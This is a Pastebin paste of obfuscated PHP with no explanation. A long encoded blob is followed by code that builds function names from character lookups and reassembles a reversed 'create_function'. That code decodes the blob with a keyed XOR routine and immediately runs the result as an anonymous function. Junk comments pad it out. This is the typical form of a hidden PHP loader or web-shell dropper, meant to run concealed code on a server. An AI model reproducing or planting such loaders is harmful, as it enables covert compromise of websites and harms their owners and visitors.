h8Q/7!`|H-3*Z\ch2	:?&NQ_s36;\P.,	-$T|9R+P%q_Q,60">MVe;'/%y\~("%K'VT)8wbaYt70@9M{u<.>.wO[b$d(%$%tG?)0![u:0 $@Nk_/!/U> ( LEh>$%pZ!>W^)(0hU5${v;$2^zW6#Q`Z	-!)8P*haV46P,@%
ke;e92@,<}H976.Y'oE'2'1bf904,9_V_'1%V+<x9`-%Y

hD 9SM4>huh57V Lhfs:*+?zDP/R?^"|Q
9 	75ZqJ604#""Qk:/."  uGQq9
VhZ!5
<'3)Yj67$_	"s
ke;e95X+nV/75	$p|^e Q{fJ97$ ?
Pk 0 :TI+nXV 1C-%UJVZ('3hXJ*7
^[+0)rg -&./y
Sa(>"p^E S(7r\qQ$6 55vVQ -&+?z k,R<$_QU	Z2"9+jdx!R,6;4m`dz1#"<+wU~*6-0$x="^8T1\jc$0+
55vVVu`%+~Fhd7V"{QU'9%84rH;+C%r_bu/! .&_(jQZC9$o^
9'7*haQh
[+0)rbqz9U:1,@[Q)`
)_*o^_]7vsq`%&_$9'5VQv:;5(K|q$?)<9`B!fW)]8)ruk0+7 &)5vqU( 5"\(Uc79{`_)U9
!Z{$$<ASez!;T&[ vQ:3<nE'1 )]X3\ud60++$55vqU( 1*jy'-%+i^s:73*sq`p&$69T|X29!&tj^y S-#Vi]x ,!(;,Zu90-vc, 7V%Wxqd-%+'ok]	Z7$^/oKV40&%v{q'= .1*zv;)%!QU[g1,X/[q46 /%&HP_2 !I Ey'-%+k`D'2 <#u[ 1 &APq"!A-trE~-/3&~ce-3'1u[V'
/"5rNhuf/TE^OU)`+#.QY9, !qqs$ '&"BPu8 %*K|q$?)%'9'
U
>4!a J+7P+I61@b[">"/qGVp4(VpH
%W,#~quV:;'6MQu4=(5D1EQ.H//QsU
"9, !qqs$+0&*MSK$=/U"[Q a3&	Oy _4>{e^. 4:$ldt0: "59yb?!AYU&#S-3>
a k,
_@9Nk_! !-j[k>B!$U^g1 ,
q|c]	2R{vs3U>3_]{-
`F Z)T1Zqs*
4:$ldt0: "99[{ ,6V0	|g-="t[{$7R5&
~ ve!,,_/Vi]U
"9, !qqs$ $
&TQq$,(2!"!Sxq	7WRJE 96)].[z64?NVj79uvD`3/-t&!^9(?bjs$+&1Qyaw=3%I+m{)'-%.{sU
"9, !qzd66$
!Q~  %I8?EP )_*i^,>Q{ed)5$^%1Nhu/f3X%WxVp4V"dKQ4>|cB.04S&*NP[<:U"tac:3/8/_^B=!,3 mw%%Vja(3@$"SYkZ/7)%UtS-3>
q\d64W&b[#.2	ZP-#/_Yx )'# \_d:7Q
_bfw3 !+nKQq8
yy ,9<Zq;,
6M{[m3274vTd(03@1QE| 3,3<+<aeh/64_52_bfw32! \h,C!	UdT!Z*<6|c]	0G+0)rqe>!HtnKS({`Z (3qud07Q3
vsqc/86*jTgm706%|w\Q4>^c22V;6W{u  ."Z*jTgm706kVV"4>Yek,5;(
59Wxu896^jTkS'Vks_	=!8T,\u^56_
&*BVz;)T6TDP*7*.
d_5)X.a`36QR $0vsqc(?;W2?4wjPxq>#.X{`Y98v` t)0$
5vqU/8.>%Wxq35V5~A\9+Q!r|/S
5~V}Es1) (~^PS#
	pbe1:]$(`aY$
?5Mk$TE	;PBQp-3	`B!fW9,U!rt R(%8"Pxs$*%!"!TXk,>C9`xT:5)(ae|s54_%M{q26#I;7 K\k0-$/Ud"2Q4>{";
  9. $grYrToak1721 = "";
  10. $oXNFCHbm2949 = "";
  11. foreach([17,16,39,11,12,4,14,37,11,41,2,37,11] as $w){
  12. $grYrToak1721 .= $IVeetkGc7741[$w];
  13. }
  14. foreach([39,28,8,8,11,22] as $w){
  15. $oXNFCHbm2949 .= $IVeetkGc7741[$w];
  16. }
  17.  
  18. /*OITNIZqdPcxeVjMWmnhjyEhXScLQeYpSvjUKAcXwHvxGzERupxfqOsLAgfHCfdrAUePbmzxjshqCWtQmmcXRWyiwpBxHZBnCosDLSpRpXncRnBIxcZILZYzMqqggNtcX*/
  19.  
  20. $w = $oXNFCHbm2949("n"."o"."i"."t"."".""."".""."c"."n"."u"."f"."_".""."e"."t"."a".""."".""."e"."r"."c");
  21. $Z = $w("/*hVBlGhbu4683*/", $grYrToak1721( VxDyj($grYrToak1721($URjKuPKy2317), "CTcfpoaF822")));
  22. $Z();
  23.  
  24. /*BZlPrzfPvMIAydubLrmYVSJwlAJYuFKLHaMmKdlINFiCCYZZpbKFKfMzacfkVkmTHugdWamVYRBYznyrLfbGtMKVIYvQpiIuBivobqgBdxNNrWQccDmaVMALjoEPDAXp*/
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!